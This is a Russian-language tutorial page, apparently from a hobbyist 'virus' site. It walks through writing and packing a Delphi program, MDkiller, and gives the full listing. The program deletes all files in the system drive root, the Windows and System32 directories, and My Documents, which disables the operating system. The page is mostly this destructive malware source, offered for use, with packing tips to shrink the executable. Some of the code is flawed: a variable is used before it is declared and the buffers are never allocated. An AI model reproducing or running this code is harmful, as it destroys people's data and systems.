Вирус Must Die

.: Меню сайта :.

Главная

Гостевая

Программы

Статьи

Книги/Учебники

Юмор

Ссылки

.: Статистика :. Рейтинг@Mail.ru
.: Реклама :.

Здесь могла быть Ваша реклама !


Сегодня мы напишем простенькую программку на Делфи, убивающую операционную систему Windows (a.k.a. Must Die). Даже не просто убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы", директории Windows, системной директории Windows, папке \System32. Например если ты установил Мастдай в C:\Windows, то при запуске проги будут удалены все файлы (но не папки) из: C:\; C:\Windows, C:\Мои Документы, C:\Windows\System,
C:\Windows\System32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее, чтобы в результате получилось следующее:

program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. :)) 
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec; 
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена Windows}
a1:= strpas(p) + '\'; {переводим возвращенный параметр из типа PChar в строковый тип и дополняем путь к директории Windows символом '\'}
a2:= a1[1]+ ':\'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы\'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32\'; {определям \System32}
a6:= a4 + '\'; {дополняем путь к системной директории символом '\'}
end.

Разберемся, что мы сделали :)
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры поиска файлов в заданных директориях. Остальные переменные типа string и pchar нужны для определения необходимых параметров и перевода их в понятный фугкциям FindFirst и FindNext язык. Для определения системной директории и директории Windows мы использовали функции WinAPI 
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены, осталось удалить из них файлы. :)

Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если функция FindFirst 
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.


Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к. в других случаях происходит почти то же самое - поиск и удаление файлов до тех пор, пока не будет возвращено значение не ноль ( <>0), т.е. файлов в указанной директории больше нет. Замечу, что удаление файлов из папок, находящихся в заданных директориях, производиться не будет, т.к. это требует усложнения алгоритма поиска.Я написал прогу с использованием WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ. Если 
не использовать Sysutils, а описать поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI можно получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!

ЗЫ: Я тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны ошибки, требующие небольшого изменения кода. Например на Win 98 SE при определении директории, в которую установлен Мастдай, прога выдает сообщение о ошибке и не работает. :( Но если перед GetWindowsDirectory() и GetSystemDirectory() написать p:='' и p1:='' соответственно, то все 
запашет без проблем. 

Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var 
S: Tsearchrec; 
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); 
a1:= strpas(p) + '\'; 
a2:= a1[1]+ ':\'; 
a3:= a2 + '
Мои Документы\'; 
GetSystemDirectory(p1,max_path); 
a4:= strpas(p1) ; 
a5:= a4 + '32\'; 
a6:= a4 + '\'; 
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else 
repeat 
deletefile(a1 + S.name);
until 
Findnext(S) <> 0; 
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else

repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.


Используются технологии uCoz